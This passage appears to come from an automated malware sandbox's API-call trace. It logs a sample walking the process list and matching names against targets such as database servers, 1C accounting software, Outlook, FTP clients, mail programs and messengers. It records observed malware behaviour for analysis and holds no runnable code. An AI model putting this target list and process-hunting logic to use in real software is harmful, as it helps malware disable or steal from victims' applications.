(lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0069.003] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0069.003] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0069.003] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0069.003] lstrlenW (lpString="wininit.exe") returned 11 [0069.003] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0069.003] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0069.003] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0069.003] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0069.004] lstrlenW (lpString="csrss.exe") returned 9 [0069.004] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0069.005] lstrlenW (lpString="winlogon.exe") returned 12 [0069.005] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0069.006] lstrlenW (lpString="services.exe") returned 12 [0069.006] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0069.006] lstrlenW (lpString="lsass.exe") returned 9 [0069.006] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0069.007] lstrlenW (lpString="lsm.exe") returned 7 [0069.007] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.007] lstrlenW (lpString="svchost.exe") returned 11 [0069.007] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.008] lstrlenW (lpString="svchost.exe") returned 11 [0069.008] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.008] lstrlenW (lpString="svchost.exe") returned 11 [0069.008] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.009] lstrlenW (lpString="svchost.exe") returned 11 [0069.009] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.009] lstrlenW (lpString="svchost.exe") returned 11 [0069.010] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0069.010] lstrlenW (lpString="audiodg.exe") returned 11 [0069.010] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.011] lstrlenW (lpString="svchost.exe") returned 11 [0069.011] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.012] lstrlenW (lpString="svchost.exe") returned 11 [0069.012] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0069.013] lstrlenW (lpString="dwm.exe") returned 7 [0069.013] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0069.013] lstrlenW (lpString="explorer.exe") returned 12 [0069.013] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0069.014] lstrlenW (lpString="spoolsv.exe") returned 11 [0069.014] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.015] lstrlenW (lpString="svchost.exe") returned 11 [0069.015] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0069.015] lstrlenW (lpString="taskhost.exe") returned 12 [0069.015] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0069.016] lstrlenW (lpString="taskeng.exe") returned 11 [0069.016] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoken.exe")) returned 1 [0069.017] lstrlenW (lpString="spoken.exe") returned 10 [0069.017] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="cut baby kind.exe")) returned 1 [0069.018] lstrlenW (lpString="cut baby kind.exe") returned 17 [0069.018] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="intelligence-jones.exe")) returned 1 [0069.018] lstrlenW (lpString="intelligence-jones.exe") returned 22 [0069.018] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="enterprises oscar hr.exe")) returned 1 [0069.019] lstrlenW (lpString="enterprises oscar hr.exe") returned 24 [0069.019] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="things apt speaker.exe")) returned 1 [0069.020] lstrlenW (lpString="things apt speaker.exe") returned 22 [0069.020] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="longest.exe")) returned 1 [0069.020] lstrlenW (lpString="longest.exe") returned 11 [0069.020] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="liberty.exe")) returned 1 [0069.021] lstrlenW (lpString="liberty.exe") returned 11 [0069.021] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="robust.exe")) returned 1 [0069.022] lstrlenW (lpString="robust.exe") returned 10 [0069.022] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="browse.exe")) returned 1 [0069.204] lstrlenW (lpString="browse.exe") returned 10 [0069.204] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accused_mem_exotic.exe")) returned 1 [0069.204] lstrlenW (lpString="accused_mem_exotic.exe") returned 22 [0069.204] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="blocked.exe")) returned 1 [0069.205] lstrlenW (lpString="blocked.exe") returned 11 [0069.205] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="cope-characterization-larger.exe")) returned 1 [0069.206] lstrlenW (lpString="cope-characterization-larger.exe") returned 32 [0069.206] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="reno.exe")) returned 1 [0069.206] lstrlenW (lpString="reno.exe") returned 8 [0069.207] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="vancouver.exe")) returned 1 [0069.207] lstrlenW (lpString="vancouver.exe") returned 13 [0069.207] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="africa.exe")) returned 1 [0069.208] lstrlenW (lpString="africa.exe") returned 10 [0069.208] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ph-pos.exe")) returned 1 [0069.209] lstrlenW (lpString="ph-pos.exe") returned 10 [0069.209] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="johns inclusive alpine.exe")) returned 1 [0069.209] lstrlenW (lpString="johns inclusive alpine.exe") returned 26 [0069.209] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="peaceful.exe")) returned 1 [0069.211] lstrlenW (lpString="peaceful.exe") returned 12 [0069.211] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="louise_threshold.exe")) returned 1 [0069.211] lstrlenW (lpString="louise_threshold.exe") returned 20 [0069.211] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scannerhit.exe")) returned 1 [0069.212] lstrlenW (lpString="scannerhit.exe") returned 14 [0069.212] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0069.213] lstrlenW (lpString="3dftp.exe") returned 9 [0069.213] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0069.213] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0069.214] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0069.231] lstrlenW (lpString="alftp.exe") returned 9 [0069.231] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0069.231] lstrlenW (lpString="barca.exe") returned 9 [0069.232] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0069.232] lstrlenW (lpString="bitkinex.exe") returned 12 [0069.232] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0069.233] lstrlenW (lpString="coreftp.exe") returned 11 [0069.233] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0069.234] lstrlenW (lpString="far.exe") returned 7 [0069.234] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0069.234] lstrlenW (lpString="filezilla.exe") returned 13 [0069.235] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0069.235] lstrlenW (lpString="flashfxp.exe") returned 12 [0069.235] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0069.236] lstrlenW (lpString="fling.exe") returned 9 [0069.236] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0069.236] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0069.237] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0069.237] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0069.237] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0069.239] lstrlenW (lpString="icq.exe") returned 7 [0069.239] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0069.240] lstrlenW (lpString="leechftp.exe") returned 12 [0069.240] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0069.240] lstrlenW (lpString="ncftp.exe") returned 9 [0069.240] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0069.241] lstrlenW (lpString="notepad.exe") returned 11 [0069.241] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0069.242] lstrlenW (lpString="operamail.exe") returned 13 [0069.242] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0069.243] lstrlenW (lpString="pidgin.exe") returned 10 [0069.243] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0069.244] lstrlenW (lpString="scriptftp.exe") returned 13 [0069.244] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0069.245] lstrlenW (lpString="skype.exe") returned 9 [0069.245] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0069.246] lstrlenW (lpString="smartftp.exe") returned 12 [0069.246] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0069.247] lstrlenW (lpString="thunderbird.exe") returned 15 [0069.247] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0069.248] lstrlenW (lpString="totalcmd.exe") returned 12 [0069.248] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0069.249] lstrlenW (lpString="trillian.exe") returned 12 [0069.249] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0069.250] lstrlenW (lpString="webdrive.exe") returned 12 [0069.250] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0069.250] lstrlenW (lpString="whatsapp.exe") returned 12 [0069.250] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0069.251] lstrlenW (lpString="winscp.exe") returned 10 [0069.251] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0069.252] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0069.252] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0069.253] lstrlenW (lpString="active-charge.exe") returned 17 [0069.253] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, 